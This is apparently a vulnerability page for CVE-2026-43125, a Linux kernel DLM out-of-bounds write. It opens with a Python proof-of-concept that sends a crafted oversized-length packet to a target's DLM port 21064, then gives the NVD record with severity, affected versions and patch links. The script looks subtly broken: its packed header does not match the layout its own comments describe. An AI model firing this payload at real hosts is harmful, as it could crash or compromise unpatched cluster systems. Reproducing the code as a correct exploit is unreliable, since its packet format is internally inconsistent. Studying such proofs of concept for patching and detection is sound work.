CVE-2026-43125

import socket import struct # PoC for CVE-2026-43125: DLM Out-of-Bounds Write # Description: Sends a crafted packet to trigger the vulnerability in dlm_search_rsb_tree. # Note: This is a conceptual demonstration targeting the DLM protocol handler. def send_exploit_packet(target_ip, target_port): try: # Establish TCP connection to DLM service s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect((target_ip, target_port)) # Craft malicious payload # The vulnerability is triggered by the 'len' parameter in the message. # DLM_RESNAME_MAXLEN is typically defined (e.g., 64). # We set length to a large value (e.g., 0xFF) to cause OOB write. malicious_len = 0xFF # Construct a simplified DLM message structure # Format: Command (1 byte) + Flags (1 byte) + Length (4 bytes) + Padding/Name # This structure may vary by kernel version but focuses on the 'len' field. msg_header = struct.pack('!BI', 0x01, malicious_len) payload = msg_header + b"A" * 256 s.send(payload) print(f"[+] Exploit packet sent to {target_ip}:{target_port}") s.close() except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": # Requires a target with DLM port exposed (often internal cluster ports) send_exploit_packet("192.168.1.10", 21064)

{"cve": {"id": "CVE-2026-43125", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-05-06T12:16:29.450", "lastModified": "2026-05-08T17:57:31.783", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\ndlm: validate length in dlm_search_rsb_tree\n\nThe len parameter in dlm_dump_rsb_name() is not validated and comes\nfrom network messages. When it exceeds DLM_RESNAME_MAXLEN, it can\ncause out-of-bounds write in dlm_search_rsb_tree().\n\nAdd length validation to prevent potential buffer overflow."}], "metrics": {"cvssMetricV31": [{"source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.4", "versionEndExcluding": "6.12.75", "matchCriteriaId": "29152BBE-96F9-4D35-A99C-E61CF2C0DDEB"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.16", "matchCriteriaId": "B4B8CDA9-BADF-4CF5-8B3B-702DE8EEA40B"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.6", "matchCriteriaId": "373EEEDA-FAA1-4FB4-B6ED-DB4DD99DBE67"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/080e5563f878c64e697b89e7439d730d0daad882", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/082083c9fbd99422a0370fe2102144a231c9f5d6", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/5f053a2e7209d326cbbc07738fa6d6893d307438", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/67288113c5e6cf9e659b4065c0ed6f16100e0c71", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}